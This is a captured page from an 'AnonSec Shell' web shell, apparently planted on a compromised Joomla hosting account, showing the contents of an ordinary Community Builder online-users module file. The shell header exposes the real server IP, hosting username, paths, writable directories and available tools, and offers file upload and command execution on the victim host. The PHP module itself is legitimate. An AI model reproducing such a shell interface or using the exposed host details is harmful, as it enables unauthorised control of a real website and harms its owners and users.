AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nimes/modules/mod_comprofileronline/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nimes/modules/mod_comprofileronline/mod_comprofileronline.php
<?php
/**
* Community Builder (TM)
* @version $Id: $
* @package CommunityBuilder
* @copyright (C) 2004-2023 www.joomlapolis.com / Lightning MultiCom SA - and its licensors, all rights reserved
* @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2
*/

use CBLib\Application\Application;
use CBLib\Registry\GetterInterface;
use Joomla\CMS\Helper\ModuleHelper;

if ( ! ( defined( '_VALID_CB' ) || defined( '_JEXEC' ) || defined( '_VALID_MOS' ) ) ) { die( 'Direct Access to this location is not allowed.' ); }

global $_CB_framework, $_CB_database;

if ( ( ! file_exists( JPATH_SITE . '/libraries/CBLib/CBLib/Core/CBLib.php' ) ) || ( ! file_exists( JPATH_ADMINISTRATOR . '/components/com_comprofiler/plugin.foundation.php' ) ) ) {
	echo 'CB not installed'; return;
}

include_once( JPATH_ADMINISTRATOR . '/components/com_comprofiler/plugin.foundation.php' );

cbimport( 'cb.html' );
cbimport( 'language.front' );

outputCbTemplate();

require_once( dirname( __FILE__ ) . '/helper.php' );

if ( (int) $params->get( 'cb_plugins', 1 ) ) {
	global $_PLUGINS;

	$_PLUGINS->loadPluginGroup( 'user' );
}

$cbUser					=	CBuser::getMyInstance();
$user					=	$cbUser->getUserData();
$templateClass			=	'cb_template cb_template_' . selectTemplate( 'dir' );

$mode					=	(int) $params->get( 'mode', 1 );

if ( $params->get( 'pretext' ) ) {
	$preText			=	$cbUser->replaceUserVars( $params->get( 'pretext' ) );
} else {
	$preText			=	null;
}

if ( $params->get( 'posttext' ) ) {
	$postText			=	$cbUser->replaceUserVars( $params->get( 'posttext' ) );
} else {
	$postText			=	null;
}

$exclude				=	array_filter( explode( ',', (string) $params->get( 'exclude' ) ) );

if ( (int) $params->get( 'exclude_self', 0 ) ) {
	$exclude[]			=	$user->get( 'id', 0, GetterInterface::INT );
}

$limit					=	(int) $params->get( 'limit', 30 );
$label					=	(int) $params->get( 'label', 1 );
$separator				=	$params->get( 'separator', ',' );
$layout					=	$params->get( 'layout', 'default' );
$userIds				=	array();

switch( $mode ) {
	case 9: // Online Connections
		if ( $user->get( 'id', 0, GetterInterface::INT ) ) {
			$query		=	'SELECT DISTINCT s.' . $_CB_database->NameQuote( 'userid' )
						.	"\n FROM " . $_CB_database->NameQuote( '#__session' ) . " AS s"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__comprofiler_members' ) . " AS m"
						.	' ON m.' . $_CB_database->NameQuote( 'referenceid' ) . ' = ' . $user->get( 'id', 0, GetterInterface::INT )
						.	' AND m.' . $_CB_database->NameQuote( 'memberid' ) . ' = s.' . $_CB_database->NameQuote( 'userid' )
						.	' AND m.' . $_CB_database->NameQuote( 'accepted' ) . ' = 1'
						.	' AND m.' . $_CB_database->NameQuote( 'pending' ) . ' = 0'
						.	"\n WHERE s." . $_CB_database->NameQuote( 'client_id' ) . ( $_CB_framework->getCfg( 'shared_session' ) ? " IS NULL" : " = 0" )
						.	"\n AND s." . $_CB_database->NameQuote( 'guest' ) . " = 0"
						.	( $exclude ? "\n AND s." . $_CB_database->NameQuote( 'userid' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY s." . $_CB_database->NameQuote( 'time' ) . " DESC";
			$_CB_database->setQuery( $query, 0, $limit );
			$userIds	=	$_CB_database->loadResultArray();
		}
		break;
	case 8: // Registered Users
		$query			=	'SELECT COUNT(*)'
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null );
		$_CB_database->setQuery( $query );
		$registered		=	$_CB_database->loadResult();

		$layout			=	'_registered';
		break;
	case 7: // User Census
		$thisDay		=	Application::Date( 'today', 'UTC' )->format( 'Y-m-d' );
		$nextDay		=	Application::Date( 'tomorrow', 'UTC' )->format( 'Y-m-d' );
		$thisWeek		=	Application::Date( 'Monday this week', 'UTC' )->format( 'Y-m-d' );
		$nextWeek		=	Application::Date( 'Monday next week', 'UTC' )->format( 'Y-m-d' );
		$thisMonth		=	Application::Date( 'last day of last month', 'UTC' )->format( 'Y-m-d' );
		$nextMonth		=	Application::Date( 'last day of this month', 'UTC' )->format( 'Y-m-d' );
		$thisYear		=	Application::Date( 'last day of December last year', 'UTC' )->format( 'Y-m-d' );
		$nextYear		=	Application::Date( 'last day of December this year', 'UTC' )->format( 'Y-m-d' );

		$query			=	'SELECT COUNT(*)'
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null );
		$_CB_database->setQuery( $query );
		$totalUsers		=	$_CB_database->loadResult();

		$query			=	'SELECT u.' . $_CB_database->NameQuote( 'id' )
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY u." . $_CB_database->NameQuote( 'registerDate' ) . " DESC";
		$_CB_database->setQuery( $query, 0, 1 );
		$userId			=	$_CB_database->loadResult();

		$latestUser		=	CBuser::getInstance( (int) $userId );

		$query			=	'SELECT COUNT(*)'
						.	"\n FROM " . $_CB_database->NameQuote( '#__session' )
						.	"\n WHERE " . $_CB_database->NameQuote( 'client_id' ) . ( $_CB_framework->getCfg( 'shared_session' ) ? " IS NULL" : " = 0" )
						.	"\n AND " . $_CB_database->NameQuote( 'guest' ) . " = 0"
						.	( $exclude ? "\n AND " . $_CB_database->NameQuote( 'userid' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null );
		$_CB_database->setQuery( $query );
		$onlineUsers	=	$_CB_database->loadResult();

		$query			=	'SELECT COUNT(*)'
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	"\n AND u." . $_CB_database->NameQuote( 'registerDate' ) . " BETWEEN " . $_CB_database->Quote( $thisDay ) . " AND " . $_CB_database->Quote( $nextDay )
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY u." . $_CB_database->NameQuote( 'registerDate' ) . " DESC";
		$_CB_database->setQuery( $query );
		$usersToday		=	$_CB_database->loadResult();

		$query			=	'SELECT COUNT(*)'
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	"\n AND u." . $_CB_database->NameQuote( 'registerDate' ) . " BETWEEN " . $_CB_database->Quote( $thisWeek ) . " AND " . $_CB_database->Quote( $nextWeek )
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY u." . $_CB_database->NameQuote( 'registerDate' ) . " DESC";
		$_CB_database->setQuery( $query );
		$usersWeek		=	$_CB_database->loadResult();

		$query			=	'SELECT COUNT(*)'
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	"\n AND u." . $_CB_database->NameQuote( 'registerDate' ) . " BETWEEN " . $_CB_database->Quote( $thisMonth ) . " AND " . $_CB_database->Quote( $nextMonth )
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY u." . $_CB_database->NameQuote( 'registerDate' ) . " DESC";
		$_CB_database->setQuery( $query );
		$usersMonth		=	$_CB_database->loadResult();

		$query			=	'SELECT COUNT(*)'
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	"\n AND u." . $_CB_database->NameQuote( 'registerDate' ) . " BETWEEN " . $_CB_database->Quote( $thisYear ) . " AND " . $_CB_database->Quote( $nextYear )
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY u." . $_CB_database->NameQuote( 'registerDate' ) . " DESC";
		$_CB_database->setQuery( $query );
		$usersYear		=	$_CB_database->loadResult();

		$layout			=	'_census';
		break;
	case 6: // Online Statistics
		$query			=	'SELECT COUNT(*)'
						.	"\n FROM " . $_CB_database->NameQuote( '#__session' )
						.	"\n WHERE " . $_CB_database->NameQuote( 'client_id' ) . ( $_CB_framework->getCfg( 'shared_session' ) ? " IS NULL" : " = 0" )
						.	"\n AND " . $_CB_database->NameQuote( 'guest' ) . " = 0"
						.	( $exclude ? "\n AND " . $_CB_database->NameQuote( 'userid' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null );
		$_CB_database->setQuery( $query );
		$onlineUsers	=	$_CB_database->loadResult();

		$query			=	'SELECT COUNT(*)'
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n LEFT JOIN " . $_CB_database->NameQuote( '#__session' ) . " AS s"
						.	' ON s.' . $_CB_database->NameQuote( 'userid' ) . ' = u.' . $_CB_database->NameQuote( 'id' )
						.	' AND s.' . $_CB_database->NameQuote( 'client_id' ) . ( $_CB_framework->getCfg( 'shared_session' ) ? ' IS NULL' : ' = 0' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	"\n AND s." . $_CB_database->NameQuote( 'session_id' ) . " IS NULL"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null );
		$_CB_database->setQuery( $query );
		$offlineUsers	=	$_CB_database->loadResult();

		$query			=	'SELECT COUNT(*)'
						.	"\n FROM " . $_CB_database->NameQuote( '#__session' )
						.	"\n WHERE " . $_CB_database->NameQuote( 'client_id' ) . ( $_CB_framework->getCfg( 'shared_session' ) ? " IS NULL" : " = 0" )
						.	"\n AND " . $_CB_database->NameQuote( 'guest' ) . " = 1";
		$_CB_database->setQuery( $query );
		$guestUsers		=	$_CB_database->loadResult();

		$layout			=	'_statistics';
		break;
	case 5: // Custom Latest
		$field			=	$params->get( 'custom_field' );
		$direction		=	$params->get( 'custom_direction', 'ASC' );

		if ( $field == 'random' ) {
			// First quickly grab the lowest user id available:
			$query		=	"SELECT c." . $_CB_database->NameQuote( 'id' )
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	" ON u." . $_CB_database->NameQuote( 'id' ) . " = c." . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY c." . $_CB_database->NameQuote( 'id' ) . " ASC";
			$_CB_database->setQuery( $query, 0, 1 );
			$minId		=	$_CB_database->loadResult();

			// Now grab the highest user id available:
			$query		=	"SELECT c." . $_CB_database->NameQuote( 'id' )
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	" ON u." . $_CB_database->NameQuote( 'id' ) . " = c." . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY c." . $_CB_database->NameQuote( 'id' ) . " DESC";
			$_CB_database->setQuery( $query, 0, 1 );
			$maxId		=	$_CB_database->loadResult();

			$randId		=	rand( $minId, $maxId );

			if ( ( $maxId - $randId ) < $limit ) {
				// We're going to end up with a result set less than the limit so lets subtract a few:
				$randId	=	( $randId - $limit );
			}

			if ( $randId < 0 ) {
				$randId	=	0;
			}

			// Now that we know the lowest and highest we can generate a random id to offset from then grab the first few ids from the results:
			$query		=	'SELECT c.' . $_CB_database->NameQuote( 'id' )
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	" ON u." . $_CB_database->NameQuote( 'id' ) . " = c." . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'id' ) . " >= $randId"
						.	"\n AND c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY c." . $_CB_database->NameQuote( 'id' ) . " ASC";
			$_CB_database->setQuery( $query, 0, $limit );
			$userIds	=	$_CB_database->loadResultArray();
		} elseif ( $field ) {
			if ( in_array( $field, array( 'id', 'name', 'username', 'email', 'registerDate', 'lastvisitDate', 'params' ) ) ) {
				$table	=	'u.';
			} else {
				$table	=	'c.';
			}

			$query		=	'SELECT u.' . $_CB_database->NameQuote( 'id' )
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY " . $table . $_CB_database->NameQuote( $field ) . " " . $direction;
			$_CB_database->setQuery( $query, 0, $limit );
			$userIds	=	$_CB_database->loadResultArray();
		}
		break;
	case 4: // Latest Profile Updates
		$query			=	'SELECT u.' . $_CB_database->NameQuote( 'id' )
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY c." . $_CB_database->NameQuote( 'lastupdatedate' ) . " DESC";
		$_CB_database->setQuery( $query, 0, $limit );
		$userIds		=	$_CB_database->loadResultArray();
		break;
	case 3: // Latest Registrations
		$query			=	'SELECT u.' . $_CB_database->NameQuote( 'id' )
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY u." . $_CB_database->NameQuote( 'registerDate' ) . " DESC";
		$_CB_database->setQuery( $query, 0, $limit );
		$userIds		=	$_CB_database->loadResultArray();
		break;
	case 2: // Latest Visitors
		$query			=	'SELECT u.' . $_CB_database->NameQuote( 'id' )
						.	"\n FROM " . $_CB_database->NameQuote( '#__comprofiler' ) . " AS c"
						.	"\n INNER JOIN " . $_CB_database->NameQuote( '#__users' ) . " AS u"
						.	' ON u.' . $_CB_database->NameQuote( 'id' ) . ' = c.' . $_CB_database->NameQuote( 'id' )
						.	"\n WHERE c." . $_CB_database->NameQuote( 'approved' ) . " = 1"
						.	"\n AND c." . $_CB_database->NameQuote( 'confirmed' ) . " = 1"
						.	"\n AND u." . $_CB_database->NameQuote( 'block' ) . " = 0"
						.	( $exclude ? "\n AND u." . $_CB_database->NameQuote( 'id' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY u." . $_CB_database->NameQuote( 'lastvisitDate' ) . " DESC";
		$_CB_database->setQuery( $query, 0, $limit );
		$userIds		=	$_CB_database->loadResultArray();
		break;
	default: // Online Users
		$query			=	'SELECT DISTINCT ' . $_CB_database->NameQuote( 'userid' )
						.	"\n FROM " . $_CB_database->NameQuote( '#__session' )
						.	"\n WHERE " . $_CB_database->NameQuote( 'client_id' ) . ( $_CB_framework->getCfg( 'shared_session' ) ? " IS NULL" : " = 0" )
						.	"\n AND " . $_CB_database->NameQuote( 'guest' ) . " = 0"
						.	( $exclude ? "\n AND " . $_CB_database->NameQuote( 'userid' ) . " NOT IN " . $_CB_database->safeArrayOfIntegers( $exclude ) : null )
						.	"\n ORDER BY " . $_CB_database->NameQuote( 'time' ) . " DESC";
		$_CB_database->setQuery( $query, 0, $limit );
		$userIds		=	$_CB_database->loadResultArray();
		break;
}

$cbUsers				=	array();

if ( $userIds ) {
	CBuser::advanceNoticeOfUsersNeeded( $userIds );

	foreach ( $userIds as $userId ) {
		$cbUser			=	CBuser::getInstance( (int) $userId );

		if ( $cbUser !== null ) {
			$cbUsers[]	=	$cbUser;
		}
	}
}

require ModuleHelper::getLayoutPath( 'mod_comprofileronline', $layout );

Anon7 - 2022
AnonSec Team